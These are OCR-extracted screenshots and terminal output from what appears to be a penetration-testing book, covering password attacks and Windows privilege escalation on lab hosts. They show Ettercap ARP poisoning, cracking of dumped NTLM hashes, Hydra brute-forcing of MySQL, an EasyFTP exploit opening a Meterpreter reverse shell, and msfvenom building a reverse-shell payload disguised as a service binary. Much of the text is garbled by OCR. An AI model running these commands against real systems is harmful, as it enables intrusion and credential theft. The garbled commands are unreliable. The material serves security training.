inet addr:192.168.202.129 Bcast:192.168.202.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe01:3c9f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:780 errors:0 dropped:0 overruns:0 frame:0
TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:97225 (94.9 KiB) TX bytes:8488 (8.2 KiB)
\begin{tabular}{|c|c|c|}
\hline \multicolumn{3}{|c|}{public Properties} \\
\hline Basic Permissions & Tags & \\
\hline Owner: & root & \(\checkmark\) \\
\hline Folder access: & Create and delete files & \(\checkmark\) \\
\hline File access: & --- & \(\checkmark\) \\
\hline Group: & root \(\checkmark\) & \\
\hline Folder access: & Create and delete files & \(\checkmark\) \\
\hline File access: & Read and write & \(\checkmark\) \\
\hline \multicolumn{3}{|l|}{Others} \\
\hline Folder access: & Create and delete files & \(\checkmark\) \\
\hline File access: & Read and write & \(\checkmark\) \\
\hline Execute: & e Allow executing file & \\
\hline SELinux context: & unknown & \\
\hline Last changed: & Sun 12 Apr 2015 03:56:17 & \\
\hline \multicolumn{3}{|l|}{Apply Permissions to Enclosed Files} \\
\hline Help & & Close \\
\hline
\end{tabular}
```

msf auxiliary(ftp) > set FTPROOT /root/public
FTPROOT => /root/public
msf auxiliary(ftp) > show options
Module options (auxiliary/server/ftp):

| Name | Current Setting | Required | Description |
| :---: | :---: | :---: | :---: |
| FTPPASS |  | no | Configure a specific password that should be allowed acces |
| FTPR00T | /root/public | yes | The FTP root directory to serve files from |
| FTPUSER |  | no | Configure a specific username that should be allowed acces |
| PASVPORT | 0 | no | The local PASV data port to listen on (0 is random) |
| SRVHOST | 0.0.0.0 | yes | The local host to listen on. This must be an address on th |
| e local machine or 0.0.0.0 |  |  |  |
| SRVPORT | 21 | yes | The local port to listen on. |
| SSL | false | no | Negotiate SSL for incoming connections |
| SSLCert |  | no | Path to a custom SSL certificate (default is randomly gene |

Auxiliary action:
Name Description
Service
msf auxiliary(ftp) > run
[*] Auxiliary module execution completed
[*] Server started.
msf >
msf auxiliary(ftp) > show options
Module options (auxiliary/server/ftp):

| Name | Current Setting | Required | Description |
| :---: | :---: | :---: | :---: |
| FTPPASS |  | no | Configure a specific password that should be allowed acces |
| ETPR00T | /tmp/ftproot | yes | The FTP root directory to serve files from |
| FTPUSER |  | no | Configure a specific username that should be allowed acces |
| PASVPORT | 0 | no | The local PASV data port to listen on (0 is random) |
| SRVHOST | 0.0.0.0 | yes | The local host to listen on. This must be an address on th |
| local machine or 0.0.0.0 |  |  |  |
| SRVPORT | 21 | yes | The local port to listen on. |
| SSL | false | no | Negotiate SSL for incoming connections |
| SSLCert |  | no | Path to a custom SSL certificate (default is randomly gene |

Auxiliary action:
Name Description
Service

```
[*] Server started.
msf auxiliary(ftp) > [*] 192.168.202.130:49162 FTP download request for microolap_pssdk6_driver_fo r_ndis6_x64_v6.1.0.6363.msi
[ \({ }^{\text {T] }}\) 192. \({ }^{-168.202 .130: 49162 ~ F T P ~ d o w n l o a d ~ r e q u e s t ~ f o r ~ t c p d u m p . j p g ~}\)
[*] 192.168.202.130:49162 FTP download request for tdpdump.jpg
msf auxiliary(ftp) >
[*] 192.168.202.1:54460 UNKNOWN 'FEAT
[*] 192.168.202.133:49171 FTP download request for microolap_pssdk6_driver_for_ndis6_x86_v6.1.0.63 \(63 . \mathrm{msi}\)
[*] 192.168.202.128:1308 FTP download request for microolap_pssdk6_driver_for_ndis6_x86_v6.1.0.636 3.msi
[*] 192.168.202.128:1308 FTP download request for tdpdump.jpg
msf auxiliary(ftp) >
```

PS G:\Users \Administrator\Downloads> ftp 192.168.202.129
Connected to 192.168.202.129.
220 FTP Seruer Ready
User (192.168.202.129:(none)>:
331 User name okay, need password...
Password:

```
\(\qquad\)
```

230 Login 0.
ftn> dir
2GD PORT command successful.
150 Opening ASCII mode data connection for /bin/ls
total }29

| - $\mathbf{w}$ - $\mathbf{r a}^{\text {- }}$ | 10 | 0 | 569344 Jan | 12000 WinDump |
| :---: | :---: | :---: | :---: | :---: |
| drwxr-xp-x | 20 | 0 | 512 Jan 1 | 2000 powersploit |
| $-\mathbf{w} \mathbf{W}^{\mathbf{r}} \mathbf{-}$ | 10 | 0 | 915128 Jan | 1 2000 WinPcap_4_1_3.exe |
|  | 20 | 0 | 512 Jan 1 | 2000 |
| drw ${ }^{\text {r }}$ | 20 | 0 | 512 Jan 1 | 2000 |

226 Transfer complete
ftp: 304 bytes received in 0.00Seconds 304000.00Kbytes/sec.
ftn> aret WinPaan 4 1 3_exe
200 PORT command successful.
150 Opening BINARY mode datà connection for WinPcap_4_1_3.exe
226 Transfer complete.
ftp: 915128 bytes received in 0.00Seconds 915128000.00Khytes/sec.
ftn> ret VinDumm.exe
2GO PORT command successful.
150 0pening BINARY mode data connection for WinDump.exe
226 Transfer complete.
ftp: 569344 bytes received in 0.11Seconds 5223.34Kbytes/sec.
fto> ruit
221 logout
PS G:\Users\Administrator\Downloads> dir

```

\section*{Directory: G: \Users \Administrator \(\backslash\) Downloads}
\begin{tabular}{|c|c|c|c|c|}
\hline Mode & \multicolumn{2}{|r|}{LastWriteTime} & Length & Name \\
\hline -a--- & 4/14/2015 & 9:50 PM & 569344 & WinDump.exe \\
\hline -a--- & 4/14/2015 & 9:49 PM & 915128 & WinPcap_4_1_3.exe \\
\hline
\end{tabular}

C: \Users \(\backslash\) Administrator \(\backslash\) Downloads \(>\)
```

[*] Server started.
msf auxiliary(ftp) > [*] 192.168.202.132:49160 FTP download request for WinPcap_4_1_3.exe
[*] 192.168.202.132:49160 FTP download request for WinDump.exe
[*] 192.168.202.128:1051 FTP download request for windump.exe
[*] 192.168.202.128:1051 FTP download request for WinDump.exe
[*] 192.168.202.128:1051 FTP download request for WinPcap_4_1_3.exe
msf auxiliary(ftp) >

```


Press Page Down to see the rest of the agreement.
Copyright (c) 1999 - 2005 NetGroup, Politecnico di Torino (Italy).
Copyright (c) 2005-2010 CACE Technologies, Davis (California).
Copyright (c) 2010-2013 Riverbed Technology, San Francisco (California).
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of

If you accept the terms of the agreement, click I Agree to continue. You must accept the agreement to install WinPcap 4.1.3.

Nullsoft Install System v2.46
< Back I Agree Cancel


```

FS G:\Users\Administrator\Downloads> NMinDump.exe -h
G:\Users\Administrator\Downloads\WinDump.exe version 3.9.5, based on tcpdump version 3.9.5
WinPcap version 4.1.3 (packet.dll version 4.1.0.2980), based on libpcap version 1.0 branch 1_0_rel0b <20091008)

## 

    [ -E algo:secret ] [ -F file ] [ -i interface ] [ -M secret ]
    [ -w file ] [ -s snaplen ] [ -T type ] [-w file] ]
    [ expresecount
    PS G:\Users \Administrator\Downloads> .\WinDump.exe -w win7-dump-20150411.pcap

```

```

372 packets captured
2 packets captured by filter
} packets dropped by kernel
PS G:\Users\Administrator\Downloads> dir
Directory: C:\Users $\backslash$ Administrator $\backslash$ Downloads

| Mode | LastwriteI ime |  | Length |
| :---: | :---: | :---: | :---: |
| -a--- | 4/16/2015 | 6:47 PM | 39702 win7-dump-20150411. ncan |
| a- | 4/14/2015 | 9:50 PM | 569344 Winlump.exe |
| -a--- | 4/14/2015 | 9:49 PM | 915128 WinPcap_4_1_3.exe |












ettercap Input


Network interface : etho


33 plugins
42 protocol dissectors
57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

Start Targets Hosts View Mitm Filters Logging Plugins ?


## 33 plugins

42 protocol dissectors
57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services





MITM Attack: ARP Poisoning (as nobody)



ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)


```
root@kali-01:~# ettercap -h
ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team
Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]
TARGET is in the format MAC/IP/PORTs (see the man for further detail)
Sniffing and Attack options:
    -M, --mitm <METHOD:ARGS> perform a mitm attack
    -o, --only-mitm don't sniff, only perform the mitm attack
    -b, --broadcast sniff packets destined to broadcast
    -B, --bridge <IFACE> use bridged sniff (needs 2 ifaces)
    -p, --nopromisc do not put the iface in promisc mode
    -S, --nosslmitm do not forge SSL certificates
    -u, --unoffensive do not forward packets
    -r, --read <file>
    -f, --pcapfilter <string>
    -R, --reversed
    -t, --proto <proto>
        --certificate <file>
        --private-key <file>
    read data from pcapfile <file>
    set the pcap filter <string>
    use reversed TARGET matching
    sniff only this proto (default is all)
    certificate file to use for SSL MiTM
    private key file to use for SSL MiTM
User Interface Type:
    -T, --text
        -q, --quiet
        -s, --script <CMD>
    -C, --curses
    use text only GUI
    do not display packet contents
    issue these commands to the GUI
    use curses GUI
    daemonize ettercap (no GUI)
    use GTK+ GUI
```



```
root@kali-01:~# ettercap -T
ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team
Listening on:
    eth0 -> 08:00:27:56:93:56
        10.0.0.7/255.255.255.0
        fe80::a00:27ff:fe56:9356/64
        2601:0:8480:386:a00:27ff:fe56:9356/64
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
    3 3 \text { plugins}
    4 2 \text { protocol dissectors}
    5 7 \text { ports monitored}
1 6 0 7 4 \text { mac vendor fingerprint}
1766 tcp OS fingerprint
2 1 8 2 \text { known services}
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |=====================================================>1 100.00 %
1 hosts added to the hosts list...
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
```




## Chapter 6: Password Attacks

File Edit Search Options Help

Cattail
Flassword
password
123456
l23asd
changeme
hackmeplease
869c6636be04b9f 79e8c526ced7f9e57 dc647eb65e671le155375218212b3964 5f4dcc3b5aa765d61d8327deb882cf99 el0adc3949ba59abbe56e057f20f883e el20ea280aa50693d5568d0071456460 4cb9c8a8048fd02294477fcbla41191a b413dd8e153df6ad2938814c7858860c



```
bo@darkwing:~/workspace/words$ cat 500-common-orginal.txt | cut -f2-6
123456 porsche firebird prince rosebud
password guitar butter beach jaguar
12345678 chelsea united amateur great
1234 black turtle 7777777 cool
diamond steelers muffin cooper
12345 nascar tiffany redsox }131
dragon jackson zxcvbn star scorpio
qwerty cameron tomcat testing mountain
mustang computer bond007
    987654
    amanda bear frank brazil
baseball wizard tiger hannah lauren
master xxxxxxxx doctor dave japan
michael money gateway eagle1
football phoenix gators 11111
shadow mickey angel mother stars
monkey bailey junior nathan apple
abc123 knight thx1138 raiders alexis
pass iceman steve aaaa
    tigers badboy forever bonnie
    purple debbie angela peaches
    andrea spider viper jasmine
    melissa ou812 kevin
harley llakota melissa loger jake l matt l
jennifer player flyers danielle
hunter sunshine fish gregory beaver
    morgan buddy 4321
```

bo@darkwing:~/workspace/words\$ cat 500-common-orginal.txt | cut-f2-6--output-delimiter=\$'\n' 123456
porsche
firebird
prince
rosebud
password
guitar
butter
beach
jaguar
12345678
chelsea
united
amateur
great
1234
black
turtle
7777777
cool
diamond
steelers
muffin
cooper
12345
nascar
tiffany

```
bo@darkwing:~/workspace/words$ ls
500-common-orginal.txt make-wordlist.txt temp
bo@darkwing:~/workspace/words$ cat 500-common-orginal.txt | cut -f2-6 --output-delimiter=$'\n' `
500-common.txt
bo@darkwing:~/workspace/words$ ls
500-common-orginal.txt 500-common.txt make-wordlist.txt temp
bo@darkwing:~/workspace/words$ cat 500-common.txt
123456
porsche
firebird
prince
rosebud
password
guitar
butter
beach
jaguar
12345678
chelsea
united
amateur
great
1234
black
turtle
7 7 7 7 7 7 7
cool
```



win7-pass-hashes-lessguest.txt (~/workspace/TestCompany/ext-20150315/evidence) - gedit
File Edit View Search Tools Documents Help

```
\squareOpen v S Save 䍃
```

win7-pass-hashes-lessguest.txt $\times$
Administ rator:500 : aad3b435b51404eeaad3b435b51404ee:23900518f88d6ec5ae40e134fdbb1959: : : B0 Weaver:1000:aad3b435b51404eeaad3b435b51404ee:601eab3fdfb146c4ecd8f800c987d621:: :|



Warning: detected hash type "lm", but the string is also recognized as "nt"
Passwords
Use the "--format=nt" option to force loading these as that type instead
Warning: detected hash type " 1 m ", but the string is also recognized as "nt2"
Use the "--format=nt2" option to force loading these as that type instead
Options
guesses: 6 time: 0:00:00:00 DONE (Thu Sep 10 14:15:20 2015) c/s: 3469 K trying: 123456 - JOHNNIE Use the "--show" option to display all of the cracked passwords reliably
Loaded 6 password hashes with no different salts (LM DES [128/128 BS SSE2-16])
(IUSR_BO-SRV2)
(haxOr)
(Guest)
(fred)
(bo)
(Administrator)




```
root@kalibook:~# john --test
Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE
Many salts: 4853\textrm{K}/\textrm{s}\mathrm{ real, 4902K c/s virtual}
Only one salt: 4624K c/s real, 4718K c/s virtual
Benchmarking: BSDI DES (x725) [128/128 BS SSE2-16]... DONE
Many salts: 162724 c/s real, 167706 c/s virtual
Only one salt: }162048\textrm{c}/\textrm{s}\mathrm{ real, 163684 c/s virtual
Benchmarking: FreeBSD MD5 [128/128 SSE2 intrinsics 12x]... DONE
Raw: }\quad37536\textrm{c}/\textrm{s}\mathrm{ real, }37915\textrm{c}/\textrm{s}\mathrm{ virtual
Benchmarking: OpenBSD Blowfish (x32) [32/64 X2]... DONE
Raw: }942\textrm{c}/\textrm{s}\mathrm{ real, }961\textrm{c}/\textrm{s}\mathrm{ virtual
Benchmarking: Kerberos AFS DES [48/64 4K]... DONE
Short: 511744 c/s real, 522187 c/s virtual
Long: 1697K c/s real, 1714K c/s virtual
Benchmarking: LM DES [128/128 BS SSE2-16]... DONE
Raw: 61853K c/s real, 63116K c/s virtual
Benchmarking: dynamic_0: md5($p) (raw-md5) [128/128 SSE2 intrinsics 10x4x3]... DONE
Raw: 30520K c/s reàl, 31143K c/s virtual
Benchmarking: dynamic_1: md5($p.$s) (joomla) [128/128 SSE2 intrinsics 10x4x3]... DONE
Many salts: 20969K c/s real, 21397K c/s virtual
Only one salt: 16441K c/s real, 16777K c/s virtual
Benchmarking: dynamic_2: md5(md5($p)) (e107) [128/128 SSE2 intrinsics 10x4x3]... DONE
Raw: 15562K c/s reàl, 15880K c/s virtual
Benchmarking: dynamic 3: md5(md5(md5($p))) [128/128 SSE2 intrinsics 10x4x3]... DONE
Raw: 10406K c/s real, 10618K c/s virtual
Benchmarking: dynamic_4: md5($s.$p) (OSC) [128/128 SSE2 intrinsics 10x4x3]... DONE
```

root@kalibook:~/workspace/TestCompany/ext-20150315/evidence\# john --format=nt2 hashdump.txt
Loaded 2 password hashes with no different salts (NT MD4 [128/128 SSE2 intrinsics 12x])

```
root@kalibook:~/workspace/TestCompany/ext-20150315/evidence# john --format=nt2 hashdump.txt
Loaded 2 password hashes with no different salts (NT MD4 [128/128 SSE2 intrinsics 12x])
guesses: 0 time: 0:09:37:41 0.01% (3) c/s: 72688K trying: 2vyiRnbi - 2vyiRnb!
guesses: 0 time: 0:23:46:18 0.04% (3) c/s: 76045K trying: 37gBbh2w - 37gBbhbv
guesses: 0 time: 1:23:01:53 0.09% (3) (ETA: Fri Oct 22 09:37:27 2021) c/s: 77085K trying: 5WyS6E6 - 5WyS6E!
evil111! (hax0r)
guesses: 1 time: 2:00:33:37 0.10% (3) (ETA: Fri May 21 08:48:12 2021) c/s: 76522K trying: HAquEzC - HAquE-C
guesses: 1 time: 2:14:17:13 0.12% (3) (ETA: Thu Oct 7 18:18:45 2021) c/s: 68392K trying: N\Uxp6ci - N\Uxp6cj
guesses: 1 time: 4:14:55:46 0.23% (3) (ETA: Fri May 7 14:43:07 2021) c/s: 55754K trying: Vt- Wtp. - Vt- Wt d
guesses: 1 time: 4:14:56:03 0.23% (3) (ETA: Fri May 7 16:46:18 2021) c/s: 55753K trying: Vtk2wR0x - Vtk2wR0T
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
```

```
root@kalibook:~/workspace/TestCompany/ext-20150315/evidence# john --format=nt2 hashdump.txt --show
hax0r:evil111!:aad3b435b51404eeaad3b435b51404ee:9e8bda2b4be66d8ef100b66c5900b82f:::
1 \text { password hash cracked, 1 left}
root@kalibook:~/workspace/TestCompany/ext-20150315/evidence#
```



Enter a Command

```
xhydra
```

| xHydra |  |  |  |  |  |
| :---: | :---: | :---: | :---: | :---: | :---: |
| Quit |  |  |  |  | File Edit View Search Terminal rootCkali: \# xhydra \& [2] 6230 rootckali: \# |
| Target | Passwords | Tuning | Specific | Start |  |
| Target |  |  |  |  |  |
| - Single Target |  |  |  | 127.0.0 |  |
| Target List |  |  |  |  |  |
|  |  |  | $\square$ Prefer IPV6 |  |  |
| Port |  |  |  |  |  |
| Protocol |  |  | asterisk |  |  |
| Output Options |  |  |  |  |  |
|  | $\square$ Use SSL |  |  | $\square$ |  |
|  | Show Atter | pts |  |  |  |
|  | COMPLETE | HELP |  | Service M |  |
| hydra -l yourname -p yourpass -t 16 127.0.0.1 asterisk |  |  |  |  |  |



Quit
Target Passwords Tuning Specific Start
Target
© Single Target $\quad 192.168 .204 .130$

Target List $\square$Prefer IPV6


Output OptionsUse SSI
Be Verhose
Enable to use SSL (the target must have SSL enabled!
$\square$ Show Attempts
$\square$ Debug
$\square$ COMPLETE HELP
$\square$ Service Module Usage Details
hydra -l yourname -p yourpass -t 16 192.168.204.130 mysql

Quit
Target Passwords Tuning Specific Start
Username
© Username

Username List $\square$
Loop around users
Password


Colon separated fileUse Colon separated file $\square$


## xHydra

Quit
Target Passwords Tuning Specific Start
http-proxy url / http-proxy-urlenum credential module
www.suse.con
http / https url
/foo/bar/protected.html
Cisco Enable, Login for Cisco device
password
LDAP DN
dn-scope
SMBlocal accountsdomain accountsInterpret passes as NTLM hashes sapr 3 client id
1
CVS/SVN Repository
trunk
Telnet - Successful Login String

SNMP

Version 1
(0) Version 2

- Write Password

O Read Password
hydra -s 3306 -l root -x 1:8:a -e nsr -t 10 -w 15 -f 192.168.204.130 ...

| xHydra |  |  |  |  |  |  | $\square$ | $x$ |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Quit |  |  |  |  |  |  |  |  |
| Target | Passwords | Tuning | Specific | Start |  |  |  |  |
| Hydra (http://www.thc.org/thc-hydra) starting at 2015-11-11 22:50:29 <br> [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) <br> [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abo [DATA] max 4 tasks per 1 server, overall 64 tasks, 217180147158 login tries (l:1/p: 217180147161), ~848359949 tries [DATA] attacking service mysql on port 3306 <br> [STATUS] 21.00 tries $/ \mathrm{min}, 21$ tries in 00:01h, 217180147137 todo in 172365196:09h, 4 active [STATUS] 19.00 tries $/ \mathrm{min}, 57$ tries in 00:03h, 217180147101 todo in 190508900:58h, 4 active [STATUS] 18.43 tries $/ \mathrm{min}, 129$ tries in 00:07h, 217180147029 todo in 196416153:39h, 4 active [STATUS] 18.20 tries/min, 273 tries in 00:15h, 217180146885 todo in 198882918:24h, 4 active [STATUS] 18.13 tries/min, 562 tries in 00:31h, 217180146596 todo in 199661463:22h, 4 active |  |  |  |  |  |  |  |  |


| xHydra |  |  |  |  |  | - | - | $\times$ |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Quit |  |  |  |  |  |  |  |  |
| Target | Passwords | Tuning | Specific | Start |  |  |  |  |

[STATUS] 17.87 tries $/ \mathrm{min}, 70622$ tries in 65:51h, 12286008 todo in $11456: 40 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 70909$ tries in $66: 07 \mathrm{~h}, 12285721$ todo in $11456: 14 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 71195$ tries in $66: 23 \mathrm{~h}, 12285435$ todo in $11455: 57 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 71481$ tries in 66:39h, 12285149 todo in 11455:41h, 4 active [STATUS] 17.87 tries $/ \mathrm{min}, 71768$ tries in $66: 55 \mathrm{~h}, 12284862$ todo in $11455: 15 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 72054$ tries in 67:11h, 12284576 todo in $11454: 59 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 72342$ tries in $67: 27 \mathrm{~h}, 12284288$ todo in $11454: 24 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 72628$ tries in $67: 43 \mathrm{~h}, 12284002$ todo in $11454: 08 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 72917$ tries in 67:59h, 12283713 todo in $11453: 23 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 73200$ tries in $68: 15 \mathrm{~h}, 12283430$ todo in $11453: 35 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 73485$ tries in 68:31h, 12283145 todo in $11453: 29 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 73769$ tries in $68: 47 \mathrm{~h}, 12282861$ todo in $11453: 31 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 74054$ tries in 69:03h, 12282576 todo in $11453: 24 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 74340$ tries in 69:19h, 12282290 todo in $11453: 08 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 74623$ tries in $69: 35 \mathrm{~h}, 12282007$ todo in $11453: 20 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 74892$ tries in 69:51h, 12281738 todo in $11455: 40 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 75180$ tries in 70:07h, 12281450 todo in 11455:05h, 4 active [STATUS] 17.87 tries $/ \mathrm{min}, 75466$ tries in 70:23h, 12281164 todo in $11454: 48 \mathrm{~h}, 4$ active [STATUS] 17.87 tries $/ \mathrm{min}, 75754$ tries in 70:39h, 12280876 todo in $11454: 13 \mathrm{~h}, 4$ active The session file ./hydra.restore was written. Type "hydra -R" to resume session.


## root@kalibook: ~

File Edit View Search Terminal Help
root@kalibook:~\# ls /usr/share/wordlists/
$\begin{array}{lllll}\text { dirb } & \text { fasttrack,txt } & \text { metasploit-jtr rockyou.txt.gz webslayer } \\ \text { dirbuster } & \text { fern-wifi } & \text { metasploit-pro sqlmap.txt } & \text { wfuzz }\end{array}$
dnsmap.txt metasploit nmap.lst termineter,txt
root@kalibook:~\#
xHydra
-
Quit


Colon separated file
$\square$ Use Colon separated file $\square$

Try login as password
$\checkmark$ Try empty passwordTry reversed login
hydra -s 3306 -I wordpress -P /root/workspace/rockyou.txt -e ns -t 16 192.168.202.137 mysql

| xHydra |  |  |  |  |  |  | $\square$ | $x$ |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Quit |  |  |  |  |  |  |  |  |
| Target | Passwords | Tuning | Specific | Start |  |  |  |  |
| Output |  |  |  |  |  |  |  |  |
| Hydra (http://www.thc.org/thc-hydra) starting at 2015-11-22 22:52:00 <br> [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) <br> [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to [DATA] max 4 tasks per 1 server, overall 64 tasks, 14344403 login tries (l:1/p:14344403), $\sim 56032$ tries per task [DATA] attacking service mysql on port 3306 <br> [STATUS] 21.00 tries $/ \mathrm{min}, 21$ tries in 00:01h, 14344382 todo in 11384:26h, 4 active [STATUS] 19.00 tries $/ \mathrm{min}, 57$ tries in 00:03h, 14344346 todo in 12582:46h, 4 active [STATUS] 18.43 tries $/ \mathrm{min}, 129$ tries in 00:07h, 14344274 todo in 12972:52h, 4 active [STATUS] 18.20 tries $/ \mathrm{min}, 273$ tries in 00:15h, 14344130 todo in 13135:40h, 4 active [STATUS] 18.13 tries $/ \mathrm{min}, 562$ tries in 00:31h, 14343841 todo in 13186:49h, 4 active [3306][mysql] host: 192.168.204.130 login: root password: evil1 <finished> |  |  |  |  |  |  |  |  |




| Name: | Launcher Properties |
| :---: | :---: |
| Commandra | /usr/bin/xhydra |
| Comment: | Password Crackerl |
|  | $\square$ Launch in Terminal? |
|  |  |



## Chapter 7: Windows Privilege Escalation

```
msf exploit(easyftp_cwd_fixret) > show options
Module options (exploit/windows/ftp/easyftp_cwd_fixret):
\begin{tabular}{|c|c|c|c|}
\hline Name & Current Setting & Required & Description \\
\hline & & & \\
\hline FTPPASS & Live224! & no & The password for the specified username \\
\hline FTPUSER & rred & no & The username to authenticate as \\
\hline RHOST & 192.168.204.3 & yes & The target address \\
\hline RPORT & 21 & yes & The target port \\
\hline
\end{tabular}
Payload options (windows/meterpreter/reverse_tcp):
\begin{tabular}{|c|c|c|c|}
\hline Name & Current Setting & Required & Description \\
\hline EXITFUNC & process & yes & Exit \\
\hline LHOST & 192.168.204.128 & yes & The listen address \\
\hline LPORT & 4444 & yes & The listen port \\
\hline
\end{tabular}
Exploit target:
Id Name
9 Windows Universal - v1.7.0.11
msf exploit(easyftp_cwd_fixret) > exploit Logging in as rred
[*] Started reverse handler on 192.168.204.128:4444
[*] Connecting to FTP server 192.168.204.3:21...
[*] Connected to target FTP server.
[*] Authenticating as rred with password Live224!...
[*] Sending password.
msf exploit(easyftp_cwd_fixret) > exploit
[*] Started reverse handler on 192.168.204.128:4444
[*] Connecting to FTP server 192.168.204.3:21...
[*] Connected to target FTP server.
[*] Authenticating as rred with password Live224!...
[*] Sending password..
[*] Prepending fixRet...
[*] Adding the payload...
[*] Overwriting part of the payload with target address...
[*] Sending exploit buffer...
[*] Sending stage (770048 bytes) to 192.168.204.3
[*] Meterpreter session 6 opened (192.168.204.128:4444 -> 192.168.204.3:49356) at 2015-12-16 13:20:05 -0500
```



## 6: \easyftp_server $\backslash$ easyftp-server-1.7.6.11-en>icacls ftphasicsur.exe <br> ftphasicsur.exe Euervone:(F) NT AUTHORTTY\SYSTEM: 〈I 〉 <F $\rangle$ BUILTIN BUILTIN <br> Successfully processed 1 files; Failed processing files <br> 

root@kalibook:~
root@kalibook:~\# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=192.168.204.128 LPORT=443 -f exe -o ftpbasicsvr.exe
No encoder or badchars specified, outputting raw payload
Saved as: ftpbasicsvr.exe
root@kalibook:~\#



```
root@kali: ~
File Edit View Search Terminal Help
root@kali:~# service apache2 start
root@kali:~# service apache2 status
- apache2.service - LSB: Apache2 web server
    Loaded: loaded (/etc/init.d/apache2)
    Active: active (running) since Thu 2016-01-28 22:16:01 EST; 8s ago
    Process: 1734 ExecStart=/etc/init.d/apache2 start (code=exited, status=0/SUCCESS)
    CGroup: /system.slice/apache2.service
                            -1755 /usr/sbin/apache2 -k start
                            -1759 /usr/sbin/apache2 -k start
                            -1760 /usr/sbin/apache2 -k start
                            -1761 /usr/sbin/apache2 -k start
                            -1762 /usr/sbin/apache2 -k start
                            -1763 /usr/sbin/apache2 -k start
                            _1764 /usr/sbin/apache2 -k start
Jan 28 22:16:00 kali apache2[1734]: Starting web server: apache2AH00558: ap...ge
Jan 28 22:16:01 kali apache2[1734]: .
Hint: Some lines were ellipsized, use -l to show in full.
root@kali:~#
```

msf > use exploit/mūlti/̄handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.16̄8.204.128
LHOST => 192.168.204.128
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler...





| root@asgili: \# searchsploit "windows Local Privilege Escalation" |  |
| :---: | :---: |
| Exploit Title | Path (/usr/share/exploitdb/platforms) |
| Microsoft Windows 2000 - POSIX Subsystem Privilege Escalation Exploit (MS04-020) | ./windows/local/351.c |
| Serv-U 3x - 5.x - Local Privilege Escalation Exploit | ./windows/local/381.c |
| BulletProof FTP Server 2, 4.0.31 - Local Privilege Escalation Exploit | ./windows/local/971.cpp |
| Kaspersky AntiVirus - _klif.sys_ Privilege Escalation Vulnerability | ./windows/local/l032.cpp |
| BakBone NetVault 7.1 - Local Privilege Escalation Exploit | ./windows/local/1161.c |
| Microsoft Windows - CSRSS Local Privilege Escalation Exploit (MS05-018) | ./windows/local/l198.c |
| Microsoft Windows - ACLs Local Privilege Escalation Exploit (Updated) | ./windows/local/1465.c |
| Microsoft Windows 2000/XP - (Mrxsmb.sys) Privilege Escalation PoC (MS06-030) | ./windows/local/1911.c |
| Microsoft Windows - Kernel Privilege Escalation Exploit (MS06-049) | ./windows/local/2412.c |
| Microsoft Vista - (NtRaiseHardError) Privilege Escalation Exploit | ./windows/local/3071.c |
| Kaspersky Antivirus 6.0 - Local Privilege Escalation Exploit | ./windows/local/3131.c |
| Multiple Printer Providers (spooler service) - Privilege Escalation Exploit | ./windows/local/3220.c |
| TrueCrypt 4.3-Privilege Escalation Exploit | ./windows/local/3664.txt |
| Microsoft Windows GDI - Local Privilege Escalation Exploit (MS07-017) | ./windows/local/3688.c |
| Microsoft Windows GDI - Local Privilege Escalation Exploit (MS07-017) (2) | ./windows/local/3755.c |
| Symantec AntiVirus - symtdi.sys Local Privilege Escalation Exploit | ./windows/local/4178.txt |
| Panda Antivirus 2008 - Local Privilege Escalation Exploit | ./windows/local/4257.c |
